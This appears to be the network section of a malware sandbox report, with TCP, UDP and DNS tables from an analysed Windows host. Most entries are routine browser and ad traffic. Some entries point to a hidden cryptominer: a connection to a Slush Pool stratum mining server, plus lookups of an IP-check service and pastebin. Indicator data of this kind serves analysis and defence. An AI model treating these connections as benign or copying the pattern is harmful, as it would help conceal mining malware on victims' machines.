192.168.3.158 49523 105.73.6.107 static-global-s-msn-com.akamaized.net 80
192.168.3.158 49524 105.73.6.107 static-global-s-msn-com.akamaized.net 80
192.168.3.158 49525 105.73.6.107 static-global-s-msn-com.akamaized.net 80
192.168.3.158 49526 105.73.6.107 static-global-s-msn-com.akamaized.net 80
192.168.3.158 49527 105.73.6.107 static-global-s-msn-com.akamaized.net 80
192.168.3.158 49582 108.177.15.132 tpc.googlesyndication.com 443
192.168.3.158 49464 108.177.15.138 crl.pki.goog 80
192.168.3.158 49581 108.177.15.138 crl.pki.goog 443
192.168.3.158 49554 108.177.15.154 googleads.g.doubleclick.net 443
192.168.3.158 49569 108.177.15.154 googleads.g.doubleclick.net 443
192.168.3.158 49451 108.177.15.94 fonts.gstatic.com 443
192.168.3.158 49452 108.177.15.94 fonts.gstatic.com 443
192.168.3.158 49453 108.177.15.94 fonts.gstatic.com 443
192.168.3.158 49454 108.177.15.94 fonts.gstatic.com 443
192.168.3.158 49455 108.177.15.94 fonts.gstatic.com 443
192.168.3.158 49456 108.177.15.94 fonts.gstatic.com 443
192.168.3.158 49490 108.177.15.94 fonts.gstatic.com 443
192.168.3.158 49491 108.177.15.94 fonts.gstatic.com 443
192.168.3.158 49492 108.177.15.94 fonts.gstatic.com 443
192.168.3.158 49493 108.177.15.94 fonts.gstatic.com 443
192.168.3.158 49494 108.177.15.94 fonts.gstatic.com 443
192.168.3.158 49495 108.177.15.94 fonts.gstatic.com 443
192.168.3.158 49441 108.177.15.95 fonts.googleapis.com 443
192.168.3.158 49442 108.177.15.95 fonts.googleapis.com 443
192.168.3.158 49482 108.177.15.95 fonts.googleapis.com 443
192.168.3.158 49483 108.177.15.95 fonts.googleapis.com 443
192.168.3.158 49484 108.177.15.95 fonts.googleapis.com 443
192.168.3.158 49485 108.177.15.95 fonts.googleapis.com 443
192.168.3.158 49501 108.177.15.95 fonts.googleapis.com 443
192.168.3.158 49502 108.177.15.95 fonts.googleapis.com 443
192.168.3.158 49503 108.177.15.95 fonts.googleapis.com 443
192.168.3.158 49504 108.177.15.95 fonts.googleapis.com 443
192.168.3.158 49476 13.107.5.80 api.bing.com 80
192.168.3.158 49477 13.107.5.80 api.bing.com 80
192.168.3.158 49478 13.107.5.80 api.bing.com 80
192.168.3.158 49479 13.107.5.80 api.bing.com 80
192.168.3.158 49555 131.253.33.203 sam.msn.com 443
192.168.3.158 49556 131.253.33.203 sam.msn.com 443
192.168.3.158 49512 139.198.17.28 cn.stratum.slushpool.com 443
192.168.3.158 49597 14.128.26.202 bid.socdm.com 80
192.168.3.158 49567 14.128.26.212 tg.socdm.com 80
192.168.3.158 49598 151.101.0.166 bh.contextweb.com 80
192.168.3.158 49553 151.101.2.2 cdn.taboola.com 443
192.168.3.158 49560 151.101.2.49 sync-tm.everesttech.net 80
192.168.3.158 49619 152.199.19.161 iecvlist.microsoft.com 443
192.168.3.158 49521 157.55.134.142 login.live.com 443
192.168.3.158 49574 172.104.160.164 gocm.c.appier.net 80
192.168.3.158 49557 173.194.76.157 cm.g.doubleclick.net 80
192.168.3.158 49587 173.194.76.157 cm.g.doubleclick.net 443
192.168.3.158 49529 18.195.197.123 eb2.3lift.com 80
192.168.3.158 49558 185.29.135.48 sync.mathtag.com 80
192.168.3.158 49585 185.31.128.129 p.rfihub.com 443
192.168.3.158 49545 185.33.223.202 ams1-ib.adnxs.com 443
192.168.3.158 49551 185.33.223.202 ams1-ib.adnxs.com 80
192.168.3.158 49561 185.33.223.202 ams1-ib.adnxs.com 80
192.168.3.158 49584 185.33.223.202 ams1-ib.adnxs.com 80
192.168.3.158 49443 196.13.108.35 portail.drill.macert.gov.ma 80
192.168.3.158 49444 196.13.108.35 portail.drill.macert.gov.ma 80
192.168.3.158 49445 196.13.108.35 portail.drill.macert.gov.ma 80
192.168.3.158 49446 196.13.108.35 portail.drill.macert.gov.ma 80
192.168.3.158 49448 196.13.108.35 portail.drill.macert.gov.ma 80
192.168.3.158 49449 196.13.108.35 portail.drill.macert.gov.ma 80
192.168.3.158 49450 196.13.108.35 portail.drill.macert.gov.ma 80
192.168.3.158 49480 196.13.108.35 portail.drill.macert.gov.ma 80
192.168.3.158 49481 196.13.108.35 portail.drill.macert.gov.ma 80
192.168.3.158 49486 196.13.108.35 portail.drill.macert.gov.ma 80
192.168.3.158 49487 196.13.108.35 portail.drill.macert.gov.ma 80
192.168.3.158 49488 196.13.108.35 portail.drill.macert.gov.ma 80
192.168.3.158 49489 196.13.108.35 portail.drill.macert.gov.ma 80
192.168.3.158 49496 196.13.108.35 portail.drill.macert.gov.ma 80
192.168.3.158 49497 196.13.108.35 portail.drill.macert.gov.ma 80
192.168.3.158 49498 196.13.108.35 portail.drill.macert.gov.ma 80
192.168.3.158 49499 196.13.108.35 portail.drill.macert.gov.ma 80
192.168.3.158 49500 196.13.108.35 portail.drill.macert.gov.ma 80
192.168.3.158 49505 196.13.108.35 portail.drill.macert.gov.ma 80
192.168.3.158 49506 196.13.108.35 portail.drill.macert.gov.ma 80
192.168.3.158 49508 196.13.108.36 blog.drill.macert.gov.ma 80
192.168.3.158 49510 196.13.108.36 blog.drill.macert.gov.ma 80
192.168.3.158 49514 196.13.108.36 blog.drill.macert.gov.ma 80
192.168.3.158 49515 196.13.108.36 blog.drill.macert.gov.ma 80
192.168.3.158 49517 196.13.108.36 blog.drill.macert.gov.ma 80
192.168.3.158 49538 196.13.108.36 blog.drill.macert.gov.ma 80
192.168.3.158 49610 196.13.108.36 blog.drill.macert.gov.ma 80
192.168.3.158 49615 196.13.108.36 blog.drill.macert.gov.ma 80
192.168.3.158 49620 196.13.108.36 blog.drill.macert.gov.ma 80
192.168.3.158 49621 196.13.108.36 blog.drill.macert.gov.ma 80
192.168.3.158 49573 204.2.255.240 anp.valassisdigital.io 80
192.168.3.158 49530 204.79.197.200 www.bing.com 80
192.168.3.158 49542 204.79.197.200 www.bing.com 443
192.168.3.158 49543 204.79.197.200 www.bing.com 443
192.168.3.158 49591 204.79.197.200 www.bing.com 80
192.168.3.158 49592 204.79.197.200 www.bing.com 80
192.168.3.158 49457 204.79.197.203 www.msn.com 80
192.168.3.158 49458 204.79.197.203 www.msn.com 80
192.168.3.158 49520 204.79.197.203 www.msn.com 80
192.168.3.158 49541 204.79.197.203 www.msn.com 443
192.168.3.158 49594 213.19.162.90 pixel.rubiconproject.com 80
192.168.3.158 49577 216.46.185.183 global.ib-ibi.com 80
192.168.3.158 49611 23.20.1.13 mid.rkdms.com 80
192.168.3.158 49544 23.21.222.193 ping.chartbeat.net 80
192.168.3.158 49595 23.210.36.252 dsum-sec.casalemedia.com 80
192.168.3.158 49528 23.210.39.240 acdn.adnxs.com 80
192.168.3.158 49531 23.222.67.85 sb.scorecardresearch.com 443
192.168.3.158 49607 23.60.196.160 tags.bluekai.com 80
192.168.3.158 49601 31.13.75.36 www.facebook.com 443
192.168.3.158 49596 31.172.81.160 sync.bumlam.com 80
192.168.3.158 49571 34.206.173.21 vop.sundaysky.com 80
192.168.3.158 49599 34.245.125.242 magnetic.t.domdex.com 80
192.168.3.158 49600 34.255.153.52 px.powerlinks.com 80
192.168.3.158 49603 37.252.161.184 prebid.adnxs.com 443
192.168.3.158 49605 37.252.161.184 prebid.adnxs.com 443
192.168.3.158 49606 37.252.161.184 prebid.adnxs.com 443
192.168.3.158 49608 37.252.161.184 prebid.adnxs.com 443
192.168.3.158 49539 37.252.172.100 m.adnxs.com 80
192.168.3.158 49540 37.252.172.100 m.adnxs.com 80
192.168.3.158 49548 37.252.172.70 fra1-ib.adnxs.com 80
192.168.3.158 49549 37.252.172.70 fra1-ib.adnxs.com 80
192.168.3.158 49550 37.252.172.70 fra1-ib.adnxs.com 80
192.168.3.158 49613 37.252.172.70 fra1-ib.adnxs.com 80
192.168.3.158 49614 37.252.172.70 fra1-ib.adnxs.com 80
192.168.3.158 49616 37.252.172.70 fra1-ib.adnxs.com 80
192.168.3.158 49617 37.252.172.70 fra1-ib.adnxs.com 80
192.168.3.158 49565 46.228.164.11 ad.turn.com 80
192.168.3.158 49570 46.228.164.13 d.turn.com 80
192.168.3.158 49623 52.138.216.83 settings-win.data.microsoft.com 443
192.168.3.158 49519 52.142.114.2 c.msn.com 80
192.168.3.158 49575 52.198.56.90 aa.agkn.com 80
192.168.3.158 49588 52.208.88.219 d.agkn.com 80
192.168.3.158 49604 52.85.51.87 sync.ad-stir.com 80
192.168.3.158 49532 54.192.61.224 static.chartbeat.com 80
192.168.3.158 49566 54.235.99.202 sync.jivox.com 80
192.168.3.158 49563 54.240.186.129 t.a3cloud.net 80
192.168.3.158 49568 64.158.223.146 match.sync.ad.cpe.dotomi.com 80
192.168.3.158 49546 64.233.166.156 pagead2.googlesyndication.com 80
192.168.3.158 49547 64.233.166.156 pagead2.googlesyndication.com 80
192.168.3.158 49593 64.233.166.156 pagead2.googlesyndication.com 443
192.168.3.158 49618 64.233.166.156 pagead2.googlesyndication.com 443
192.168.3.158 49578 64.233.167.147 www.google.com 443
192.168.3.158 49580 64.233.167.147 www.google.com 443
192.168.3.158 49552 64.233.167.157 adservice.google.com 443
192.168.3.158 49576 66.117.28.68 pixel.everesttech.net 80
192.168.3.158 49586 66.155.71.189 pixel-sync.sitescout.com 443
192.168.3.158 49509 66.171.248.178 bot.whatismyipaddress.com 80
192.168.3.158 49564 67.231.251.190 pixel.s3xified.com 80
192.168.3.158 49572 77.66.11.200 uipglob.semasio.net 80
192.168.3.158 49463 8.248.241.254 ctldl.windowsupdate.com 80
192.168.3.158 49559 8.41.222.241 sync.1rx.io 80
192.168.3.158 49579 92.122.241.211 a248.e.akamai.net 80
192.168.3.158 49589 93.184.220.29 ocsp.digicert.com 80
192.168.3.158 49590 93.184.220.29 ocsp.digicert.com 80
192.168.3.158 49609 93.184.220.29 ocsp.digicert.com 80
23.208.77.128 80 192.168.3.158 49160

UDP

Source Source Port Destination Destination Port
fe80::889:166e:646a:b823 5353 ff02::fb 5353
fe80::889:166e:646a:b823 64984 ff02::1:3 5355
fe80::889:166e:646a:b823 64370 ff02::1:3 5355
fe80::889:166e:646a:b823 65185 ff02::1:3 5355
fe80::889:166e:646a:b823 53964 ff02::1:3 5355
fe80::9802:3dd8:2f75:ffec 61722 ff02::1:3 5355
fe80::889:166e:646a:b823 56416 ff02::1:3 5355
fe80::889:166e:646a:b823 65370 ff02::1:3 5355
fe80::889:166e:646a:b823 62115 ff02::1:3 5355
fe80::9802:3dd8:2f75:ffec 55548 ff02::1:3 5355
fe80::889:166e:646a:b823 53296 ff02::1:3 5355
fe80::889:166e:646a:b823 62978 ff02::1:3 5355
fe80::889:166e:646a:b823 64015 ff02::1:3 5355
fe80::889:166e:646a:b823 62970 ff02::1:3 5355
fe80::889:166e:646a:b823 60300 ff02::1:3 5355
fe80::889:166e:646a:b823 62092 ff02::1:3 5355
fe80::889:166e:646a:b823 55793 ff02::1:3 5355
fe80::889:166e:646a:b823 59389 ff02::1:3 5355
fe80::9802:3dd8:2f75:ffec 63219 ff02::1:3 5355
fe80::889:166e:646a:b823 64034 ff02::1:3 5355
fe80::889:166e:646a:b823 61118 ff02::1:3 5355
fe80::889:166e:646a:b823 57163 ff02::1:3 5355
fe80::889:166e:646a:b823 56597 ff02::1:3 5355
fe80::889:166e:646a:b823 49852 ff02::1:3 5355
fe80::9802:3dd8:2f75:ffec 546 ff02::1:2 547
fe80::889:166e:646a:b823 59799 ff02::1:3 5355
fe80::889:166e:646a:b823 61718 ff02::1:3 5355
fe80::889:166e:646a:b823 56957 ff02::1:3 5355
fe80::889:166e:646a:b823 54576 ff02::1:3 5355
fe80::889:166e:646a:b823 51101 ff02::1:3 5355
fe80::889:166e:646a:b823 52500 ff02::1:3 5355
fe80::9802:3dd8:2f75:ffec 55311 ff02::1:3 5355
fe80::889:166e:646a:b823 62431 ff02::1:3 5355
fe80::889:166e:646a:b823 51160 ff02::1:3 5355
fe80::889:166e:646a:b823 60933 ff02::1:3 5355
fe80::9802:3dd8:2f75:ffec 60729 ff02::1:3 5355
fe80::889:166e:646a:b823 62012 ff02::1:3 5355
fe80::889:166e:646a:b823 55005 ff02::1:3 5355
fe80::889:166e:646a:b823 62557 ff02::1:3 5355
fe80::889:166e:646a:b823 61378 ff02::1:3 5355
fe80::889:166e:646a:b823 53287 ff02::1:3 5355
fe80::889:166e:646a:b823 61332 ff02::1:3 5355
fe80::889:166e:646a:b823 65250 ff02::1:3 5355
fe80::889:166e:646a:b823 65233 ff02::1:3 5355
fe80::889:166e:646a:b823 56379 ff02::1:3 5355
fe80::889:166e:646a:b823 61335 ff02::1:3 5355
fe80::889:166e:646a:b823 61454 ff02::1:3 5355
192.168.3.1 137 192.168.3.2 137
192.168.3.1 5353 224.0.0.251 5353
192.168.3.1 49852 224.0.0.252 5355
192.168.3.1 51101 224.0.0.252 5355
192.168.3.1 51160 224.0.0.252 5355
192.168.3.1 52500 224.0.0.252 5355
192.168.3.1 53287 224.0.0.252 5355
192.168.3.1 53296 224.0.0.252 5355
192.168.3.1 53964 224.0.0.252 5355
192.168.3.1 54576 224.0.0.252 5355
192.168.3.1 55005 224.0.0.252 5355
192.168.3.1 55793 224.0.0.252 5355
192.168.3.1 56379 224.0.0.252 5355
192.168.3.1 56416 224.0.0.252 5355
192.168.3.1 56597 224.0.0.252 5355
192.168.3.1 56957 224.0.0.252 5355
192.168.3.1 57163 224.0.0.252 5355
192.168.3.1 59389 224.0.0.252 5355
192.168.3.1 59799 224.0.0.252 5355
192.168.3.1 60300 224.0.0.252 5355
192.168.3.1 60933 224.0.0.252 5355
192.168.3.1 61118 224.0.0.252 5355
192.168.3.1 61332 224.0.0.252 5355
192.168.3.1 61335 224.0.0.252 5355
192.168.3.1 61378 224.0.0.252 5355
192.168.3.1 61454 224.0.0.252 5355
192.168.3.1 61718 224.0.0.252 5355
192.168.3.1 62012 224.0.0.252 5355
192.168.3.1 62092 224.0.0.252 5355
192.168.3.1 62115 224.0.0.252 5355
192.168.3.1 62431 224.0.0.252 5355
192.168.3.1 62557 224.0.0.252 5355
192.168.3.1 62970 224.0.0.252 5355
192.168.3.1 62978 224.0.0.252 5355
192.168.3.1 64015 224.0.0.252 5355
192.168.3.1 64034 224.0.0.252 5355
192.168.3.1 64370 224.0.0.252 5355
192.168.3.1 64984 224.0.0.252 5355
192.168.3.1 65185 224.0.0.252 5355
192.168.3.1 65233 224.0.0.252 5355
192.168.3.1 65250 224.0.0.252 5355
192.168.3.1 65370 224.0.0.252 5355
192.168.3.1 49907 239.255.255.250 1900
192.168.3.1 56382 239.255.255.250 1900
192.168.3.1 59695 239.255.255.250 1900
192.168.3.1 59979 239.255.255.250 1900
192.168.3.158 49183 192.168.3.2 53
192.168.3.158 49514 192.168.3.2 53
192.168.3.158 49770 192.168.3.2 53
192.168.3.158 49773 192.168.3.2 53
192.168.3.158 49819 192.168.3.2 53
192.168.3.158 50150 192.168.3.2 53
192.168.3.158 50233 192.168.3.2 53
192.168.3.158 50465 192.168.3.2 53
192.168.3.158 50680 192.168.3.2 53
192.168.3.158 50692 192.168.3.2 53
192.168.3.158 50854 192.168.3.2 53
192.168.3.158 51001 192.168.3.2 53
192.168.3.158 51073 192.168.3.2 53
192.168.3.158 51129 192.168.3.2 53
192.168.3.158 51134 192.168.3.2 53
192.168.3.158 51318 192.168.3.2 53
192.168.3.158 51494 192.168.3.2 53
192.168.3.158 51660 192.168.3.2 53
192.168.3.158 51731 192.168.3.2 53
192.168.3.158 51891 192.168.3.2 53
192.168.3.158 51938 192.168.3.2 53
192.168.3.158 52117 192.168.3.2 53
192.168.3.158 52233 192.168.3.2 53
192.168.3.158 52282 192.168.3.2 53
192.168.3.158 52297 192.168.3.2 53
192.168.3.158 52345 192.168.3.2 53
192.168.3.158 52460 192.168.3.2 53
192.168.3.158 52495 192.168.3.2 53
192.168.3.158 52586 192.168.3.2 53
192.168.3.158 52619 192.168.3.2 53
192.168.3.158 52630 192.168.3.2 53
192.168.3.158 52708 192.168.3.2 53
192.168.3.158 52843 192.168.3.2 53
192.168.3.158 52987 192.168.3.2 53
192.168.3.158 53060 192.168.3.2 53
192.168.3.158 53123 192.168.3.2 53
192.168.3.158 53217 192.168.3.2 53
192.168.3.158 53281 192.168.3.2 53
192.168.3.158 53379 192.168.3.2 53
192.168.3.158 53412 192.168.3.2 53
192.168.3.158 53545 192.168.3.2 53
192.168.3.158 53595 192.168.3.2 53
192.168.3.158 53617 192.168.3.2 53
192.168.3.158 53641 192.168.3.2 53
192.168.3.158 53891 192.168.3.2 53
192.168.3.158 54319 192.168.3.2 53
192.168.3.158 54320 192.168.3.2 53
192.168.3.158 54460 192.168.3.2 53
192.168.3.158 54808 192.168.3.2 53
192.168.3.158 54887 192.168.3.2 53
192.168.3.158 55029 192.168.3.2 53
192.168.3.158 55126 192.168.3.2 53
192.168.3.158 55140 192.168.3.2 53
192.168.3.158 55364 192.168.3.2 53
192.168.3.158 55419 192.168.3.2 53
192.168.3.158 55503 192.168.3.2 53
192.168.3.158 55729 192.168.3.2 53
192.168.3.158 55744 192.168.3.2 53
192.168.3.158 55847 192.168.3.2 53
192.168.3.158 55938 192.168.3.2 53
192.168.3.158 56153 192.168.3.2 53
192.168.3.158 56289 192.168.3.2 53
192.168.3.158 56343 192.168.3.2 53
192.168.3.158 56461 192.168.3.2 53
192.168.3.158 56732 192.168.3.2 53
192.168.3.158 56794 192.168.3.2 53
192.168.3.158 56924 192.168.3.2 53
192.168.3.158 56989 192.168.3.2 53
192.168.3.158 57003 192.168.3.2 53
192.168.3.158 57311 192.168.3.2 53
192.168.3.158 57400 192.168.3.2 53
192.168.3.158 57499 192.168.3.2 53
192.168.3.158 57795 192.168.3.2 53
192.168.3.158 57814 192.168.3.2 53
192.168.3.158 58018 192.168.3.2 53
192.168.3.158 58193 192.168.3.2 53
192.168.3.158 58227 192.168.3.2 53
192.168.3.158 58231 192.168.3.2 53
192.168.3.158 58291 192.168.3.2 53
192.168.3.158 58459 192.168.3.2 53
192.168.3.158 58521 192.168.3.2 53
192.168.3.158 58536 192.168.3.2 53
192.168.3.158 58661 192.168.3.2 53
192.168.3.158 58744 192.168.3.2 53
192.168.3.158 58761 192.168.3.2 53
192.168.3.158 58882 192.168.3.2 53
192.168.3.158 59077 192.168.3.2 53
192.168.3.158 59275 192.168.3.2 53
192.168.3.158 59338 192.168.3.2 53
192.168.3.158 59374 192.168.3.2 53
192.168.3.158 59457 192.168.3.2 53
192.168.3.158 59526 192.168.3.2 53
192.168.3.158 59571 192.168.3.2 53
192.168.3.158 59710 192.168.3.2 53
192.168.3.158 59900 192.168.3.2 53
192.168.3.158 59925 192.168.3.2 53
192.168.3.158 59980 192.168.3.2 53
192.168.3.158 59983 192.168.3.2 53
192.168.3.158 60032 192.168.3.2 53
192.168.3.158 60041 192.168.3.2 53
192.168.3.158 60072 192.168.3.2 53
192.168.3.158 60239 192.168.3.2 53
192.168.3.158 60509 192.168.3.2 53
192.168.3.158 60670 192.168.3.2 53
192.168.3.158 60677 192.168.3.2 53
192.168.3.158 60708 192.168.3.2 53
192.168.3.158 60824 192.168.3.2 53
192.168.3.158 60951 192.168.3.2 53
192.168.3.158 60991 192.168.3.2 53
192.168.3.158 61066 192.168.3.2 53
192.168.3.158 61219 192.168.3.2 53
192.168.3.158 61569 192.168.3.2 53
192.168.3.158 61600 192.168.3.2 53
192.168.3.158 61629 192.168.3.2 53
192.168.3.158 61724 192.168.3.2 53
192.168.3.158 62143 192.168.3.2 53
192.168.3.158 62251 192.168.3.2 53
192.168.3.158 62339 192.168.3.2 53
192.168.3.158 62358 192.168.3.2 53
192.168.3.158 62455 192.168.3.2 53
192.168.3.158 62703 192.168.3.2 53
192.168.3.158 62829 192.168.3.2 53
192.168.3.158 62836 192.168.3.2 53
192.168.3.158 63014 192.168.3.2 53
192.168.3.158 63152 192.168.3.2 53
192.168.3.158 63177 192.168.3.2 53
192.168.3.158 63181 192.168.3.2 53
192.168.3.158 63347 192.168.3.2 53
192.168.3.158 63394 192.168.3.2 53
192.168.3.158 63485 192.168.3.2 53
192.168.3.158 63584 192.168.3.2 53
192.168.3.158 63661 192.168.3.2 53
192.168.3.158 63809 192.168.3.2 53
192.168.3.158 63883 192.168.3.2 53
192.168.3.158 63916 192.168.3.2 53
192.168.3.158 63969 192.168.3.2 53
192.168.3.158 64053 192.168.3.2 53
192.168.3.158 64113 192.168.3.2 53
192.168.3.158 64320 192.168.3.2 53
192.168.3.158 64341 192.168.3.2 53
192.168.3.158 64416 192.168.3.2 53
192.168.3.158 64481 192.168.3.2 53
192.168.3.158 64506 192.168.3.2 53
192.168.3.158 64552 192.168.3.2 53
192.168.3.158 64573 192.168.3.2 53
192.168.3.158 64709 192.168.3.2 53
192.168.3.158 64788 192.168.3.2 53
192.168.3.158 64845 192.168.3.2 53
192.168.3.158 64963 192.168.3.2 53
192.168.3.158 64975 192.168.3.2 53
192.168.3.158 65103 192.168.3.2 53
192.168.3.158 65129 192.168.3.2 53
192.168.3.158 65242 192.168.3.2 53
192.168.3.158 65366 192.168.3.2 53
192.168.3.158 65409 192.168.3.2 53
192.168.3.158 65533 192.168.3.2 53
192.168.3.158 137 192.168.3.255 137
192.168.3.158 49345 224.0.0.252 5355
192.168.3.158 52115 224.0.0.252 5355
192.168.3.158 55347 224.0.0.252 5355
192.168.3.158 56611 224.0.0.252 5355
192.168.3.158 63840 224.0.0.252 5355
192.168.3.158 68 255.255.255.255 67
192.168.3.254 67 192.168.3.158 68

DNS

Name Response Post-Analysis Lookup
isatap.localdomain [VT]
isatap.local [VT]
www.msn.com [VT] CNAME a-0003.a-msedge.net [VT]
A 204.79.197.203 [VT]
CNAME www-msn-com.a-0003.a-msedge.net [VT]
static-global-s-msn-com.akamaized.net [VT] CNAME a1999.dscg2.akamai.net [VT]
A 105.73.6.106 [VT]
A 105.73.6.107 [VT]
otf.msn.com [VT] CNAME iceotf-prod-fe-tm.trafficmanager.net [VT]
CNAME iceotf-prod-fe-westeurope.cloudapp.net [VT]
A 104.40.210.32 [VT]
ctldl.windowsupdate.com [VT] A 8.248.241.254 [VT]
A 8.250.159.254 [VT]
CNAME audownload.windowsupdate.nsatc.net [VT]
A 8.253.93.237 [VT]
A 8.247.202.126 [VT]
CNAME auto.au.download.windowsupdate.com.c.footprint.net [VT]
A 8.247.205.254 [VT]
CNAME opau.download.windowsupdate.com.c.footprint.net [VT]
crl.pki.goog [VT] A 108.177.15.102 [VT]
A 108.177.15.113 [VT]
A 108.177.15.101 [VT]
CNAME www3.l.google.com [VT]
A 108.177.15.100 [VT]
A 108.177.15.139 [VT]
A 108.177.15.138 [VT]
api.bing.com [VT] CNAME api-bing-com.e-0001.e-msedge.net [VT]
CNAME e-0001.e-msedge.net [VT]
A 13.107.5.80 [VT]
www.bing.com [VT] CNAME www-bing-com.a-0001.a-msedge.net [VT]
A 204.79.197.200 [VT]
CNAME a-0001.a-msedge.net [VT]
A 13.107.21.200 [VT]
wpad.localdomain [VT]
wpad.local [VT]
portail.drill.macert.gov.ma [VT] A 196.13.108.35 [VT]
fonts.googleapis.com [VT] CNAME googleadapis.l.google.com [VT]
A 108.177.15.95 [VT]
fonts.gstatic.com [VT] CNAME gstaticadssl.l.google.com [VT]
A 108.177.15.94 [VT]
blog.drill.macert.gov.ma [VT] A 196.13.108.36 [VT]
bot.whatismyipaddress.com [VT] A 66.171.248.178 [VT]
pastebin.com [VT] A 104.20.209.21 [VT]
A 104.20.208.21 [VT]
cn.stratum.slushpool.com [VT] A 139.198.17.28 [VT]
A 139.198.16.112 [VT]
A 139.198.16.189 [VT]
A 39.104.114.74 [VT]
A 39.104.95.211 [VT]
go.microsoft.com [VT] CNAME go.microsoft.com.edgekey.net [VT]
CNAME e11290.dspg.akamaiedge.net [VT]
A 104.126.105.146 [VT]
acdn.adnxs.com [VT] CNAME secure-adnxs.edgekey.net [VT]
A 23.210.39.240 [VT]
CNAME e6115.g.akamaiedge.net [VT]
c.msn.com [VT] CNAME c.msn.com.nsatc.net [VT]
A 52.142.114.2 [VT]
login.live.com [VT] CNAME login.msa.akadns6.net [VT]
A 157.55.135.128 [VT]
A 157.55.134.142 [VT]
A 157.55.134.136 [VT]
CNAME vs.login.msa.akadns6.net [VT]
eb2.3lift.com [VT] CNAME eu-eb2.3lift.com [VT]
A 35.156.3.214 [VT]
A 18.195.197.123 [VT]
A 18.185.247.250 [VT]
A 18.194.70.167 [VT]
A 52.59.124.165 [VT]
A 18.196.143.235 [VT]
A 18.185.226.114 [VT]
A 18.197.113.167 [VT]
c.bing.com [VT] CNAME c-bing-com.a-0001.a-msedge.net [VT]
sb.scorecardresearch.com [VT] A 23.222.67.85 [VT]
CNAME sb.scorecardresearch.com.edgekey.net [VT]
CNAME e1879.e7.akamaiedge.net [VT]
static.chartbeat.com [VT] A 54.192.61.224 [VT]
CNAME d3f7zc5bbfci5.cloudfront.net [VT]
tags.mathtag.com [VT] A 185.29.133.52 [VT]
A 185.29.134.89 [VT]
A 185.29.135.42 [VT]
A 185.29.134.232 [VT]
creative.mathads.com [VT] CNAME mathads.com.edgekey.net [VT]
CNAME e6530.b.akamaiedge.net [VT]
A 104.126.90.178 [VT]
ams1-ib.adnxs.com [VT] A 185.33.223.208 [VT]
A 185.33.223.100 [VT]
A 185.33.223.206 [VT]
A 185.33.223.220 [VT]
A 185.33.223.221 [VT]
A 185.33.223.202 [VT]
A 185.33.223.197 [VT]
A 185.33.223.204 [VT]
pagead2.googlesyndication.com [VT] A 64.233.166.154 [VT]
A 64.233.166.156 [VT]
A 64.233.166.155 [VT]
CNAME pagead46.l.doubleclick.net [VT]
A 64.233.166.157 [VT]
widgets.outbrain.com [VT] CNAME e10883.g.akamaiedge.net [VT]
A 23.210.37.167 [VT]
CNAME wildcard.outbrain.com.edgekey.net [VT]
cdn.taboola.com [VT] A 151.101.66.2 [VT]
A 151.101.2.2 [VT]
CNAME f2.shared.global.fastly.net [VT]
A 151.101.194.2 [VT]
A 151.101.130.2 [VT]
ping.chartbeat.net [VT] A 23.21.73.247 [VT]
A 23.23.130.169 [VT]
A 23.21.87.97 [VT]
A 23.21.243.243 [VT]
A 23.21.222.193 [VT]
A 23.21.61.2 [VT]
A 23.21.81.248 [VT]
A 23.21.255.59 [VT]
ib.adnxs.com [VT] A 185.33.223.80 [VT]
A 185.33.223.209 [VT]
A 185.33.223.215 [VT]
A 185.33.223.203 [VT]
CNAME g.geogslb.com [VT]
CNAME ib.anycast.adnxs.com [VT]
cdn.adnxs.com [VT]
adservice.google.com [VT] A 64.233.167.155 [VT]
A 64.233.167.157 [VT]
A 64.233.167.154 [VT]
A 64.233.167.156 [VT]
cm.g.doubleclick.net [VT] A 173.194.76.157 [VT]
A 173.194.76.155 [VT]
A 173.194.76.156 [VT]
CNAME pagead.l.doubleclick.net [VT]
A 173.194.76.154 [VT]
sync.mathtag.com [VT] A 185.29.135.48 [VT]
A 185.29.133.208 [VT]
A 185.29.135.233 [VT]
A 185.29.132.21 [VT]
CNAME pixel-origin.mathtag.com [VT]
odr.mookie1.com [VT] A 18.196.61.185 [VT]
A 18.185.195.81 [VT]
CNAME odr-1134265115.eu-central-1.elb.amazonaws.com [VT]
A 18.195.209.41 [VT]
A 18.194.106.112 [VT]
A 52.28.224.121 [VT]
A 18.185.171.66 [VT]
A 52.29.123.178 [VT]
A 35.158.53.104 [VT]
pr-bh.ybp.yahoo.com [VT] A 77.238.185.35 [VT]
CNAME pr-bh.ybp.gysm.yahoodns.net [VT]
p.rfihub.com [VT] A 185.31.128.129 [VT]
CNAME a.rfihub.com [VT]
CNAME a.rfihub.com.akadns.net [VT]
CNAME a-emea.rfihub.com.akadns.net [VT]
m.adnxs.com [VT] CNAME m.anycast.adnxs.com [VT]
A 37.252.172.100 [VT]
CNAME microsoft.geo.appnexusgslb.net [VT]
A 37.252.172.180 [VT]
match.adsrvr.org [VT] A 52.17.231.199 [VT]
A 54.77.151.154 [VT]
A 52.16.141.158 [VT]
A 34.249.72.87 [VT]
CNAME match-1943069928.eu-west-1.elb.amazonaws.com [VT]
A 176.34.134.126 [VT]
A 34.240.175.172 [VT]
A 54.72.206.21 [VT]
A 34.246.249.223 [VT]
p.adsymptotic.com [VT] A 104.18.102.194 [VT]
A 104.18.101.194 [VT]
A 104.18.99.194 [VT]
A 104.18.98.194 [VT]
A 104.18.100.194 [VT]
sync.search.spotxchange.com [VT] CNAME ams01.sync.search.spotxchange.com [VT]
CNAME sync.search-gtm.spotxchange.com.akadns.net [VT]
A 185.94.180.126 [VT]
A 185.94.180.125 [VT]
googleads.g.doubleclick.net [VT] A 108.177.15.157 [VT]
A 108.177.15.155 [VT]
A 108.177.15.156 [VT]
A 108.177.15.154 [VT]
dsum-sec.casalemedia.com [VT] CNAME dsum-sec.casalemedia.com.edgekey.net [VT]
CNAME e8037.g.akamaiedge.net [VT]
A 23.210.36.252 [VT]
sync.outbrain.com [VT] CNAME prod.outbrain.map.fastlylb.net [VT]
s.amazon-adsystem.com [VT] A 52.46.130.13 [VT]
pixel.rubiconproject.com [VT] CNAME pixel.rubiconproject.net.akadns.net [VT]
A 213.19.162.80 [VT]
A 213.19.162.90 [VT]
cms.quantserve.com [VT] A 18.184.254.112 [VT]
A 35.157.170.79 [VT]
A 18.185.209.124 [VT]
CNAME 2kpixel.quantserve.com [VT]
CNAME pixel-euc101-lighttpd-elb-985182688.eu-central-1.elb.amazonaws.com [VT]
A 18.195.200.89 [VT]
A 18.195.162.149 [VT]
A 18.194.121.63 [VT]
CNAME pixel-euc101-lighttpd.pixel.quantserve.net [VT]
A 35.158.206.55 [VT]
CNAME global.px.quantserve.com [VT]
A 18.185.226.230 [VT]
